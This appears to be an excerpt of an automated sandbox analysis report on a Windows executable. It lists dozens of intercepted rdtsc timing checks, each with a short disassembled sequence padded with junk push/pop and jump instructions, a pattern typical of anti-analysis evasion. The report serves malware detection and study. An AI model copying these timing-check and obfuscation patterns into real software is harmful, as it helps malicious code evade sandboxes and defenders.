Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BEDC6E second address: BEDC74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BEDC74 second address: BEDC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BEDC78 second address: BEDC7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BEDC7C second address: BEDC88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF018B87186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BF0029 second address: BF002D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BFC48E second address: BFC4B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Eh 0x00000009 popad 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jmp 00007FF018B8718Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007FF018B87186h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BFC4B7 second address: BFC4DB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF018BAC396h 0x00000008 jmp 00007FF018BAC3A7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BFBF83 second address: BFBFA4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jmp 00007FF018B87195h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C00804 second address: C0081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jo 00007FF018BAC3B6h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnp 00007FF018BAC396h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C01F18 second address: C01F22 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF018B87192h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C01F22 second address: C01F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C01F28 second address: C01F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C01F30 second address: C01F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C0FA6C second address: C0FA70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1636F second address: C16377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C16377 second address: C1637D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1637D second address: C16382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C164E4 second address: C16523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B87193h 0x00000009 jmp 00007FF018B87196h 0x0000000e jmp 00007FF018B87191h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C16692 second address: C166A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC39Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C167DC second address: C16812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Ah 0x00000009 popad 0x0000000a pop esi 0x0000000b push ecx 0x0000000c pushad 0x0000000d jmp 00007FF018B8718Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FF018B87190h 0x00000019 popad 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C16AB9 second address: C16AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnc 00007FF018BAC396h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C16C42 second address: C16C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 je 00007FF018B87186h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C16C4E second address: C16C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1BCD8 second address: C1BCDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1B879 second address: C1B888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FF018BAC396h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1B888 second address: C1B899 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FF018B8718Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1B899 second address: C1B8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1B8A2 second address: C1B8A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1B8A8 second address: C1B8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1BA12 second address: C1BA18 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1BA18 second address: C1BA1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1BA1E second address: C1BA3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018B87198h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C1BA3B second address: C1BA41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C24CBA second address: C24CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C24CBE second address: C24CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2AA32 second address: C2AA36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2AA36 second address: C2AA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007FF018BAC3A1h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C271CE second address: C271D8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF018B8718Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C271D8 second address: C271EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FF018BAC398h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C271EA second address: C271F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B8718Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C271F8 second address: C271FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C271FC second address: C27202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C27202 second address: C2720C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3BC4F second address: C3BC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3BC59 second address: C3BC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3BABD second address: C3BAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3BAC3 second address: C3BAEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A8h 0x00000007 jng 00007FF018BAC396h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C3D33A second address: C3D348 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007FF018B87186h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C57A6C second address: C57A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C57A72 second address: C57A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C57A7E second address: C57A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C57FC8 second address: C57FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C57FCC second address: C57FD6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF018BAC396h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C57FD6 second address: C58000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FF018B87194h 0x0000000c jg 00007FF018B87186h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007FF018B87186h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C58000 second address: C58004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C582DB second address: C582E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5B27C second address: C5B2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FF018BAC39Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007FF018BAC396h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5B2AC second address: C5B2B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5B2B2 second address: C5B2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5DD21 second address: C5DD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5DD25 second address: C5DD54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FF018BAC3A6h 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF018BAC39Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5F889 second address: C5F88F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5F88F second address: C5F89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5F89B second address: C5F8B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B87194h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5F8B5 second address: C5F8BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C613E2 second address: C613E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C613E6 second address: C613EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B78E4F second address: B78E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF018B8718Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B791A5 second address: B791BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910475 second address: 491049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF018B87190h 0x0000000a sub si, 5C88h 0x0000000f jmp 00007FF018B8718Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491049C second address: 49104BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, AC2Ah 0x00000007 push edi 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FF018BAC3A2h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49104BF second address: 49104C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49104C5 second address: 49104C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49104C9 second address: 491052D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF018B8718Fh 0x00000012 sub ah, FFFFFFDEh 0x00000015 jmp 00007FF018B87199h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FF018B87190h 0x00000021 adc cx, 36D8h 0x00000026 jmp 00007FF018B8718Bh 0x0000002b popfd 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491052D second address: 4910531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910531 second address: 4910535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910535 second address: 491053B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491053B second address: 4910541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910541 second address: 4910545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910545 second address: 4910549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910549 second address: 491056D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007FF018BAC3A0h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ax, E503h 0x00000016 mov ch, CEh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491056D second address: 4910582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B87191h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910582 second address: 4910586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910586 second address: 49105A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov al, 3Eh 0x0000000e jmp 00007FF018B8718Bh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49105A0 second address: 49105A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49105A6 second address: 49105AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49105AA second address: 491065F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b mov ax, 721Fh 0x0000000f mov bx, ax 0x00000012 popad 0x00000013 pushfd 0x00000014 jmp 00007FF018BAC3A0h 0x00000019 add ah, FFFFFF88h 0x0000001c jmp 00007FF018BAC39Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [esp], esi 0x00000026 jmp 00007FF018BAC3A6h 0x0000002b lea eax, dword ptr [ebp-04h] 0x0000002e pushad 0x0000002f movzx esi, bx 0x00000032 call 00007FF018BAC3A3h 0x00000037 mov edi, esi 0x00000039 pop eax 0x0000003a popad 0x0000003b push esp 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007FF018BAC39Dh 0x00000045 sub ah, FFFFFFB6h 0x00000048 jmp 00007FF018BAC3A1h 0x0000004d popfd 0x0000004e pushfd 0x0000004f jmp 00007FF018BAC3A0h 0x00000054 sub ax, C9D8h 0x00000059 jmp 00007FF018BAC39Bh 0x0000005e popfd 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491065F second address: 4910677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B87194h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910677 second address: 49106C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e pushad 0x0000000f movzx ecx, dx 0x00000012 pushfd 0x00000013 jmp 00007FF018BAC3A1h 0x00000018 sbb cl, FFFFFFD6h 0x0000001b jmp 00007FF018BAC3A1h 0x00000020 popfd 0x00000021 popad 0x00000022 push dword ptr [ebp+08h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov dh, 87h 0x0000002a mov al, 48h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49106C2 second address: 49106C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910705 second address: 4910733 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 jmp 00007FF018BAC39Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [ebp-04h], 00000000h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF018BAC3A5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910733 second address: 4910739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910739 second address: 491073D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491073D second address: 4910741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910741 second address: 491076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b mov cx, di 0x0000000e popad 0x0000000f je 00007FF018BAC3D3h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007FF018BAC39Fh 0x0000001d mov di, si 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900066 second address: 4900075 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4900075 second address: 49000CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ecx, 37A24B33h 0x00000011 mov dx, ax 0x00000014 popad 0x00000015 push FFFFFFFEh 0x00000017 pushad 0x00000018 jmp 00007FF018BAC3A0h 0x0000001d popad 0x0000001e push 0EE171D2h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FF018BAC3A3h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49000CC second address: 49000D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 5B0Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
